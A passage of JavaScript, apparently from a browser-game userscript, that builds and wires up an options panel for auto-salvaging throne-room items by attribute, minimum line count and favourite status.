			m += '<tr><td colspan=3><INPUT id=sstatue type=checkbox ' + (ThroneOptions.savestatue ? 'CHECKED ' : '') + '/>&nbsp; Save all statues</TD></TR>';
			m += '<tr><td colspan=3><INPUT id=spet type=checkbox ' + (ThroneOptions.savepet ? 'CHECKED ' : '') + '/>&nbsp; Save all Pets</TD></TR>';
			m += '<tr><td colspan=3><INPUT id=stapestry type=checkbox ' + (ThroneOptions.savetapestry ? 'CHECKED ' : '') + '/>&nbsp; Save all Tapestries</TD></TR>';
			m += '</table>';
			m += '<TR><TD><FONT color=red>Min number of lines will override your "Keep cards" and "ignore attributes" setting, keeping cards with lesser/larger min requirement</font></td></TR>';
			m += '<br><br><TR><TD><FONT color=red>Check boxes for items you want to <b>KEEP</b> by attribute.</font></td></TR>';
			m += '<TABLE width=60% class=pbTab><TR><TD><B>Combat:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Attack type=checkbox ' + (ThroneOptions.Salvage.Attack ? 'CHECKED ' : '') + '/>&nbsp;Attack</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Attack.Min, 'id=AttackMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Defense type=checkbox ' + (ThroneOptions.Salvage.Defense ? 'CHECKED ' : '') + '/>&nbsp;Defense</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Defense.Min, 'id=DefenseMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Life type=checkbox ' + (ThroneOptions.Salvage.Life ? 'CHECKED ' : '') + '/>&nbsp;Life</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Life.Min, 'id=LifeMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Speed type=checkbox ' + (ThroneOptions.Salvage.Speed ? 'CHECKED ' : '') + '/>&nbsp;Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Speed.Min, 'id=SpeedMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Accuracy type=checkbox ' + (ThroneOptions.Salvage.Accuracy ? 'CHECKED ' : '') + '/>&nbsp;Accuracy</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Accuracy.Min, 'id=AccuracyMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Range type=checkbox ' + (ThroneOptions.Salvage.Range ? 'CHECKED ' : '') + '/>&nbsp;Range</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Range.Min, 'id=RangeMin') + '</td></tr>';
			m += '<TR></tr><TR><TD><B>March:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Load type=checkbox ' + (ThroneOptions.Salvage.Load ? 'CHECKED ' : '') + '/>&nbsp;Load</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Load.Min, 'id=LoadMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=MarchSize type=checkbox ' + (ThroneOptions.Salvage.MarchSize ? 'CHECKED ' : '') + '/>&nbsp;March Size</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.MarchSize.Min, 'id=MarchSizeMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=MarchSpeed type=checkbox ' + (ThroneOptions.Salvage.MarchSpeed ? 'CHECKED ' : '') + '/>&nbsp;March Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.MarchSpeed.Min, 'id=MarchSpeedMin') + '</td></tr>';
			m += '<TR></tr><TR><TD><B>Skills:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=CombatSkill type=checkbox ' + (ThroneOptions.Salvage.CombatSkill ? 'CHECKED ' : '') + '/>&nbsp;Combat Skill</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.CombatSkill.Min, 'id=CombatSkillMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=IntelligenceSkill type=checkbox ' + (ThroneOptions.Salvage.IntelligenceSkill ? 'CHECKED ' : '') + '/>&nbsp;Intelligence Skill</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.IntelligenceSkill.Min, 'id=IntelligenceSkillMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=PoliticsSkill type=checkbox ' + (ThroneOptions.Salvage.PoliticsSkill ? 'CHECKED ' : '') + '/>&nbsp;Politics Skill</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.PoliticsSkill.Min, 'id=PoliticsSkillMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ResourcefulnessSkill type=checkbox ' + (ThroneOptions.Salvage.ResourcefulnessSkill ? 'CHECKED ' : '') + '/>&nbsp;Resourcefulness Skill</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ResourcefulnessSkill.Min, 'id=ResourcefulnessSkillMin') + '</td></tr>';
			m += '<TR></tr><TR><TD><B>Speed:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=TrainingSpeed type=checkbox ' + (ThroneOptions.Salvage.TrainingSpeed ? 'CHECKED ' : '') + '/>&nbsp;Training Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.TrainingSpeed.Min, 'id=TrainingSpeedMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ConstructionSpeed type=checkbox ' + (ThroneOptions.Salvage.ConstructionSpeed ? 'CHECKED ' : '') + '/>&nbsp;Construction Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ConstructionSpeed.Min, 'id=ConstructionSpeedMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ResearchSpeed type=checkbox ' + (ThroneOptions.Salvage.ResearchSpeed ? 'CHECKED ' : '') + '/>&nbsp;Research Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ResearchSpeed.Min, 'id=ResearchSpeedMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=CraftingSpeed type=checkbox ' + (ThroneOptions.Salvage.CraftingSpeed ? 'CHECKED ' : '') + '/>&nbsp;Crafting Speed</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.CraftingSpeed.Min, 'id=CraftingSpeedMin') + '</td></tr>';
			m += '<TR></tr><TR><TD><B>Recources:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Upkeep type=checkbox ' + (ThroneOptions.Salvage.Upkeep ? 'CHECKED ' : '') + '/>&nbsp;Upkeep</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Upkeep.Min, 'id=UpkeepMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ResourceProduction type=checkbox ' + (ThroneOptions.Salvage.ResourceProduction ? 'CHECKED ' : '') + '/>&nbsp;Resource Production</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ResourceProduction.Min, 'id=ResourceProductionMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ResourceCap type=checkbox ' + (ThroneOptions.Salvage.ResourceCap ? 'CHECKED ' : '') + '/>&nbsp;Resource Cap</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ResourceCap.Min, 'id=ResourceCapMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Storehouse type=checkbox ' + (ThroneOptions.Salvage.Storehouse ? 'CHECKED ' : '') + '/>&nbsp;Storehouse</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Storehouse.Min, 'id=StorehouseMin') + '</td></tr>';
			m += '<TR></tr><TR><TD><B>Varia:</b></td></tr>';
			m += '<TR><TD></td><TD><INPUT id=Morale type=checkbox ' + (ThroneOptions.Salvage.Morale ? 'CHECKED ' : '') + '/>&nbsp;Morale</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.Morale.Min, 'id=MoraleMin') + '</td></tr>';
			m += '<TR><TD></td><TD><INPUT id=ItemDrop type=checkbox ' + (ThroneOptions.Salvage.ItemDrop ? 'CHECKED ' : '') + '/>&nbsp;ItemDrop</td><td>Min number of lines ' + htmlSelector({
				0: 'Off',
				1: '1 line',
				2: '2 lines',
				3: '3 lines',
				4: '4 lines',
				5: '5 lines'
			}, ThroneOptions.SalvageA.ItemDrop.Min, 'id=ItemDropMin') + '</td></tr></table>';
			m += '<table><tr><TD><FONT color=red>Check boxes for items you want to <b>KEEP</b>. by name</font></td></tr></table>';
			m += '<TABLE width=80% class=pbTab>';
			for (k in unsafeWindow.cm.thronestats.effects) {
				if (!ThroneOptions.SalvageA[k]) ThroneOptions.SalvageA[k] = {};
				if (!ThroneOptions.SalvageA[k].Min) ThroneOptions.SalvageA[k].Min = 0; //fixing a mistake, Min must be defined.  
				m += '<TR><TD><A onclick="setFAV(' + k + ')"><DIV class=pbSalvage_fav id=SalvageFAV' + k + '></div></td>';
				m += '<TD class=pbThrone><INPUT id=pbThroneItems' + k + ' type=checkbox checked=' + (ThroneOptions.Salvage[k] ? 'CHECKED ' : '') + '>' + unsafeWindow.cm.thronestats.effects[k][1] + '</td><TD>' + unsafeWindow.cm.thronestats.effects[k][3] + '</td><TD width="4">' + unsafeWindow.cm.thronestats.effects[k][2] + '</td>\
         <td></td><td class=pbThroneST><select id=' + k + '>';
				for (g = 0; g < t.EquipType.length; g++)
					m += '<option value="' + t.EquipType[g] + '">' + t.EquipType[g] + '</option>'
				m += '</select></td>';
				m += '<td class=pbThroneS>Min lines ' + htmlSelector({
					0: 'Off',
					1: '1 line',
					2: '2 lines',
					3: '3 lines',
					4: '4 lines',
					5: '5 lines'
				}, ThroneOptions.SalvageA[k].Min, 'id=' + k + 'Min') + '</td></tr>';
			}
			m += '</table>';
			t.Overv.innerHTML = m;
			$("pbsalvage_run").addEventListener('click', function (e) {
				if (Options.ThroneDeleteItems) {
					e.target.value = "Auto Salvage = OFF";
					Options.ThroneDeleteItems = false;
					saveOptions();
				} else {
					e.target.value = "Auto Salvage = ON";
					Options.ThroneDeleteItems = true;
					saveOptions();
				}
			}, false);
			document.getElementById('SingleStat').addEventListener('change', function () {
				ThroneOptions.SingleStat = document.getElementById('SingleStat').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Cityrand').addEventListener('change', function () {
				ThroneOptions.Cityrand = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('pbsalvage_cityspire').addEventListener('change', function () {
				ThroneOptions.CitySpire = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Attack').addEventListener('change', function () {
				ThroneOptions.Salvage.Attack = document.getElementById('Attack').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Defense').addEventListener('change', function () {
				ThroneOptions.Salvage.Defense = document.getElementById('Defense').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Life').addEventListener('change', function () {
				ThroneOptions.Salvage.Life = document.getElementById('Life').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Speed').addEventListener('change', function () {
				ThroneOptions.Salvage.Speed = document.getElementById('Speed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Accuracy').addEventListener('change', function () {
				ThroneOptions.Salvage.Accuracy = document.getElementById('Accuracy').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Range').addEventListener('change', function () {
				ThroneOptions.Salvage.Range = document.getElementById('Range').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Load').addEventListener('change', function () {
				ThroneOptions.Salvage.Load = document.getElementById('Load').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('MarchSize').addEventListener('change', function () {
				ThroneOptions.Salvage.MarchSize = document.getElementById('MarchSize').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('MarchSpeed').addEventListener('change', function () {
				ThroneOptions.Salvage.MarchSpeed = document.getElementById('MarchSpeed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('CombatSkill').addEventListener('change', function () {
				ThroneOptions.Salvage.CombatSkill = document.getElementById('CombatSkill').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('IntelligenceSkill').addEventListener('change', function () {
				ThroneOptions.Salvage.IntelligenceSkill = document.getElementById('IntelligenceSkill').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('PoliticsSkill').addEventListener('change', function () {
				ThroneOptions.Salvage.PoliticsSkill = document.getElementById('PoliticsSkill').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourcefulnessSkill').addEventListener('change', function () {
				ThroneOptions.Salvage.ResourcefulnessSkill = document.getElementById('ResourcefulnessSkill').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('TrainingSpeed').addEventListener('change', function () {
				ThroneOptions.Salvage.TrainingSpeed = document.getElementById('TrainingSpeed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ConstructionSpeed').addEventListener('change', function () {
				ThroneOptions.Salvage.ConstructionSpeed = document.getElementById('ConstructionSpeed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ResearchSpeed').addEventListener('change', function () {
				ThroneOptions.Salvage.ResearchSpeed = document.getElementById('ResearchSpeed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('CraftingSpeed').addEventListener('change', function () {
				ThroneOptions.Salvage.CraftingSpeed = document.getElementById('CraftingSpeed').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Upkeep').addEventListener('change', function () {
				ThroneOptions.Salvage.Upkeep = document.getElementById('Upkeep').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourceProduction').addEventListener('change', function () {
				ThroneOptions.Salvage.ResourceProduction = document.getElementById('ResourceProduction').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourceCap').addEventListener('change', function () {
				ThroneOptions.Salvage.ResourceCap = document.getElementById('ResourceCap').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Storehouse').addEventListener('change', function () {
				ThroneOptions.Salvage.Storehouse = document.getElementById('Storehouse').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('Morale').addEventListener('change', function () {
				ThroneOptions.Salvage.Morale = document.getElementById('Morale').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('ItemDrop').addEventListener('change', function () {
				ThroneOptions.Salvage.ItemDrop = document.getElementById('ItemDrop').checked;
				saveThroneOptions();
			}, false);
			document.getElementById('AttackMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Attack.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('DefenseMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Defense.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('LifeMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Life.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('SpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Speed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('AccuracyMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Accuracy.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('RangeMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Range.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('LoadMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Load.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('MarchSizeMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.MarchSize.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('MarchSpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.MarchSpeed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('CombatSkillMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.CombatSkill.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('IntelligenceSkillMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.IntelligenceSkill.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('PoliticsSkillMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.PoliticsSkill.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourcefulnessSkillMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ResourcefulnessSkill.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('TrainingSpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.TrainingSpeed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ConstructionSpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ConstructionSpeed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ResearchSpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ResearchSpeed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('CraftingSpeedMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.CraftingSpeed.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('UpkeepMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Upkeep.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourceProductionMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ResourceProduction.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ResourceCapMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ResourceCap.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('StorehouseMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Storehouse.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('MoraleMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.Morale.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('ItemDropMin').addEventListener('change', function () {
				ThroneOptions.SalvageA.ItemDrop.Min = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('pbsalvage_unique').addEventListener('change', function () {
				ThroneOptions.SaveUnique = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('pbheatup').addEventListener('change', function () {
				ThroneOptions.heatup = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('shero').addEventListener('change', function () {
				ThroneOptions.savehero = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('sstatue').addEventListener('change', function () {
				ThroneOptions.savestatue = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('spet').addEventListener('change', function () {
				ThroneOptions.savepet = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('stapestry').addEventListener('change', function () {
				ThroneOptions.savetapestry = this.checked;
				saveThroneOptions();
			}, false);
			document.getElementById('pbthrone_keep').addEventListener('change', function () {
				ThroneOptions.thronekeep = parseInt(document.getElementById('pbthrone_keep').value);
				saveThroneOptions();
			}, false);
			document.getElementById('Quality').addEventListener('change', function () {
				ThroneOptions.SalvageQuality = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('SLevel').addEventListener('change', function () {
				ThroneOptions.SalvageLevel = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('saveXitems').addEventListener('change', function () {
				ThroneOptions.saveXitems = document.getElementById('saveXitems').value;
				saveThroneOptions();
			}, false);
			document.getElementById('ShowSalvageHistory').addEventListener('click', function () {
				t.PaintSalvageHistory()
			}, false);
			//if (ThroneOptions.Salvage[1] != undefined){
			for (k in unsafeWindow.cm.thronestats.effects) {
				document.getElementById('pbThroneItems' + k).checked = ThroneOptions.Salvage[k];
			}
			//}
			if (ThroneOptions.Salvage_fav[1] == undefined) {
				for (k in unsafeWindow.cm.thronestats.effects) {
					ThroneOptions.Salvage_fav[k] = false;
				}
			}
			if (ThroneOptions.Salvage_fav[1] != undefined) {
				for (k in unsafeWindow.cm.thronestats.effects) {
					if (ThroneOptions.Salvage_fav[k]) document.getElementById('SalvageFAV' + k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA6lJREFUeNq0VdtLFFEc/mZmXfO2FnaxC8XGhmFZRjeCgiDqJXoIeqkoCIQICnos7Km/oKinQAgCX3qIHoIg6ClQhMguCJa6XrKsLTPNdtu5nL7fnDPuaqv71GG+OTNzzvl+999Y6vVq/DMswubN4VxBfAqAnLoMhVYE6jo2OBk4XPcVsP0Llhox+CXIraLnGZJMqwOwcSf85iOOr8F5rKH0wEK5YYebIqhotvWz4CsFeGhH9XJg514KsM5gGk3IFWuylACfZIFTgJLZ1kJ+k+AndiNvHcemJiDPb3aVA9e6hozS+8oKkMuytM9Dv9vaiiwxoUTjdlTWkhwaTdtl/RxmkMJsWX7GIMt7lkH0hAx65oUg9HcLcRKpZpIrfUIUsCsd+Pl2jPsXylvwiaw/ldbYjfxvb6SWB6n9LcRrJAZci8A9zTvEsnOM0VE8XJdaSoClHqzbB6VO0T1JxiwZpqJigkoK1tYDyS20RmnApG+MGElTse8I01XHuo/nxrkvTYVeYKXTiRNjvqUeb/yN76hCXQJIEKtW6tAIoa/mk4cqGUInipm8cH1ykinNoExNA/EcuZyLOD58L8YMmUBdLInGzZowDFygyZSBMKqi2pirl7kNFMQ0TtDihhVMjgG6nNaEqrrWEbj+KD72ac2zSqoW+GOyxjWx8Qyid1mTPbJXzsh7QO3GBmX9Ck4NPzEC7DRxCPlgAMPvqAl7g2treGUQCuMsteSRfHxE3i/idPpuIYukePL2KHGIB/rw7pU5WKT9YsibefIHyUeFpw3nB+/NT9PCgQniMNO1F0NjBZeUg9RH/4jPsxfQ9qHj3zrw5mmVoT9v4PM344Yy5OKaAbolh0e49P5+6Ur2rELGyMixkflR08P8NSzIJBk1zJzMVGqJZsfm5psm54eBa0F1AqEQz8TCMwi/mYr2jBL1DVL5zbi5NV5aQHjQEOTD1tyMBHPZVYX+VBED1lLTtWx6Ncs0sazJHsvR/4hs0FTaRW6RvTmakacA6f3yPc7DDexF75m+/TOyQ1pjFfbtZ5ugGbN/tPukBmzVwvvb0j+cyAKbFR1zalFdTeI6lj5/hz3dLP9fz7lvD7GBuI3uniz63wCNtKqqkhbSO/FY6yIuijIi/IMlUc8DPovmZQ/wOdPL78eII8RLYpK4SmyBG3Sgq9vHcD+QWi9uTC3yyzStR6OLeIrBoV7OZ4ldxLMFewTsmmgjtmE224mJL2k+d5Ru10rhfw4b/3n8FWAAwna8wfz7wJUAAAAASUVORK5CYII="/>';
					else document.getElementById('SalvageFAV' + k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAADAFBMVEX////4+Pj7+/v39/f5+fn6+vr29vby8vL09PTz8/P+/v78/Pzd3d3Nzc3v7++tra3r6+v9/f3n5+fs7Ozt7e24uLjQ0NDx8fHV1dXo6OjJycnl5eXc3NyoqKje3t7Hx8fS0tK+vr66urrZ2dnw8PDMzMzq6urFxcW5ubnk5OTj4+Pi4uLR0dGwsLDBwcG1tbXb29vLy8vu7u7Dw8P19fXKysrY2Ni3t7ekpKSrq6u0tLTh4eHm5ubW1tanp6eenp7p6emsrKyurq7a2trCwsLPz8/AwMC9vb28vLzf39+zs7PT09PX19f///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUISnwAAABI0lEQVR4nG2Rh26DMBCGzzmwCXuHBLL33t1tujfv/zqFhjhRyydZ8t0n6+6XIeZEXXIsYuA3R+1sc8UWQC3lCLcGQJY5okIBoM3+CT15AIDaH7Exb0kqICxLB+FMvtof9kqEPcXe9VPg1+QY5r2sJ8tyJgt65TuGxzIqaduyFMWyUqcIrK7F0BzYlAgFjkBIyb80Y6Bv5zeUiKf9F2OcboWv8+GGiBmIumaM9usKM+8ehQzKGsbwkEPwIiQZaHrhMWBfJYg0ARHd1knylk2o9AsltG+dCFcqJrDkSOibXMjNFWP6aLJcOIyxoMGFXmGdUDM+B9WZ6rLonYvF89ifTrsl8cyrrtXA4KK8qz7UnbQiwdXdRZMLRavbh/+RGuvj8Fx+AKn1YdcNFlXFAAAAAElFTkSuQmCC" />';
				}
			}
			var element_class = document.getElementsByClassName('pbThrone');
			var element_classTS = document.getElementsByClassName('pbThroneS');
			var element_classST = document.getElementsByClassName('pbThroneST');
			for (k = 0; k < element_class.length; k++) {
				element_class[k].addEventListener('click', t.saveSalvageOptions, false);
				element_classTS[k].addEventListener('change', function (e) {
					var idnum = parseInt(String(e.target.id).replace("Min", ""));
					var type = document.getElementById(idnum).value;
					if (type == 'ALL') {
						ThroneOptions.SalvageA[idnum].Min = e.target.value
					} else {
						ThroneOptions.SalvageA[idnum][type] = e.target.value;
					}
					saveThroneOptions();
				}, false);
				element_classST[k].addEventListener('change', function (e) {
					if (e.target.value == 'ALL') {
						document.getElementById(e.target.id + 'Min').value = ThroneOptions.SalvageA[e.target.id].Min;
					} else {
						document.getElementById(e.target.id + 'Min').value = ThroneOptions.SalvageA[e.target.id][e.target.value];
					}
					saveThroneOptions();
				}, false);
			}
			t.saveSalvageOptions();
		} catch (e) {
			t.Overv.innerHTML = '<PRE>' + e.name + ' : ' + e.message + '</pre>';
		}
	},
	setSalvageFAV: function (what) {
		var t = Tabs.Throne;
		if (ThroneOptions.Salvage_fav[what]) ThroneOptions.Salvage_fav[what] = false;
		else ThroneOptions.Salvage_fav[what] = true;
		for (k in unsafeWindow.cm.thronestats.effects) {
